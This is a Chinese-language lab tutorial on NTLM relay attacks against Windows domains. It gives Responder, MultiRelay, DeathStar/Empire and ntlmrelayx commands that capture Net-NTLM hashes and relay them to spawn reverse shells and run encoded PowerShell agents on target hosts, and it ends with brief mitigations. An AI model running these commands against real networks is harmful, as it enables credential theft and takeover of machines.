0x01 前言
記得之前有個知識點還沒有去寫,雖然比較簡單,但是很多文章對突出的重點寫的不夠詳細,所以我搭個環境整理一下,具體一些認證原理、以及中繼轉發的過程,請查看我的上一篇文章。
0x02 中繼原理
對于SMB協議,客戶端在連接服務端時,默認先使用本機的用戶名和密碼hash嘗試登錄,所以可以模擬SMB服務器從而截獲其它PC的net-ntlm hash。而作為中繼的機器必須要有域管理員權限或本地管理員權限,且被中繼的機器要關閉smb簽名認證,否則怎么去做中繼呢,比如本文案例用域控做中繼。
除了中繼smb協議,還可以中繼LDAP,從域內內收集更多的信息,包括用戶、他們的組成員、域計算機和域策略;中繼IMAP,Exchange 服務器上的 IMAP 支持 NTLM 身份驗證,若Exchange啟用 NTLM 身份驗證,可以登錄用戶的郵箱。這些可以用來進一步的擴大危害。
0x03 獲取net-NTLM hash
中繼即讓客戶端連接到攻擊者模擬的SMB,其實最關鍵的是先拿到net-ntlm hash,若是域管的hash,就可以拿到域內的任意主機權限。NTLM 身份驗證被封裝在其他協議中,但是無論覆蓋的協議是什么,消息都是相同的,比如SMB、HTTP(S)、LDAP、IMAP、SMTP、POP3 和 MSSQL,就是說NTLM 支持多種協議。HTTP 進行身份驗證的客戶端會在“ Authorization”標頭中發送 NTLM 身份驗證消息,因此除了中繼SMB可以直接登錄之外,若是中繼MSSQL等,可以轉發登錄目標的MSSQL。
下面總結幾個獲取方法:
1.中間人攻擊,比如內網做個DNS劫持,如果是全內網劫持,危害是比較大的。
2.WPAD,自動發現協議,利用DNS 查找一個名為 WPAD 的主機名,如果不能通過上面描述的 LLMNR。 Responder開啟WPAD后,-F,當目標瀏覽網站時強制使用NTLM hash認證,而且主機重啟時也能抓到NTLM hash。
加-F參數即可開啟WPAD抓取 hash,此時用戶瀏覽網站Net-NTLM hash就被獲取。
Python Responder.py -I eth0 -v -F
3.web漏洞,如XSS、文件包含等獲取net-NTLM hash。
4.LLMNR,構造不存在的主機名,當主機名無法使用 DNS 解析的主機,則使用本地鏈路多播名稱解析,即LLMNR濫用自動發現協議產生的流量,windows 代理自動檢測 (WPAD) 功能,自動嘗試使用 NTLM 身份驗證進行身份驗證通過中間人攻擊獲得的流量,比如DNS劫持,重定向到受害者工作站受信任的位置
0x04 中繼反彈shell
攻擊機ip
靶機ip
受害者ip-域內pc
1、攻擊機執行 python Responder.py -I eth0 -r -d –w
2、sudo python MultiRelay.py -t 192.168.191.189 -u ALL
可以導入列表,這里演示一個攻擊目標192.168.191.189,利用Responder的MultiRelay模塊獲取shell,如果成功,直接反彈192.168.191.189的shell
3、靶機執行 net use 192.168.191.190test
用戶名密碼隨意輸入,因為就算密碼錯誤了,會調用這臺機子自帶的hash嘗試登錄攻擊機,被攻擊機獲取hash,進行中繼轉發。
4、執行之后,發現MultiRelay已經反彈受害機的shell
獲取shell之后進一步利用,可以dump hash、或加載到meterpreter、 CS,執行一下powershell命令即可。
0x05 DeathStar體驗
1、啟動empire
sudo python empire —rest —username username —password 123456
2、啟動Deathstar,ip為攻擊機ip,為了接管agent
python3 DeathStar.py -lip 192.168.191.190 -t 100 -u username -p 123456
3、empire生成powershell
Listeners,會發現已經有了一個DeathStar監聽
launcher powershell DeathStar,生成powershell代碼
4、啟動Responder
sudo python Responder.py -I eht0 -r -d –v
Deathstar會自動尋找域控制器,及活躍用戶等目錄進行中繼轉發。
5、這條命令是對中繼成功的機器,自動執行powershell,獲取agent,powershell腳本放在引號中。
sudo ntlmrelayx.py -t 192.168.191.189 -c ‘powershell -noP -sta -w 1 -enc [powershell code]’
ntlmrelayx.py支持-tf(例如target.txt),把目標導入利用中繼批量轉發攻擊。
6、net use 192.168.191.190a
可以看到對每臺PC進行了轉發測試,若成功則反彈shell。
這個工具感覺沒有想象中的強大,前面幾分鐘都在攻擊我的kali攻擊機,然后開始對域控進行中繼,在整個網段探測存活,再對存活主機進行中繼轉發.
總結:
如果我們的msf在自己內網怎么辦,目標內網肯定無法直接轉發到我們的Responder,可以通過msf劫持445端口到自己本地,設置一個遠程監聽端口(auxiliary/scanner/smb/smb_login),用來接收smb的數據,在設置一個meterpreter反向轉發端口(portfwdadd)。
防御:
所有攻擊都濫用了 NLTM 身份驗證協議,因此唯一完整的解決方案是完全禁用 NTLM 并切換到 Kerberos。操作系統若不支持 Kerberos 身份驗證,無法禁用,啟用 SMB 簽名,啟用 LDAP 簽名等來緩解。
原文鏈接:https://www.anquanke.com/post/id/200649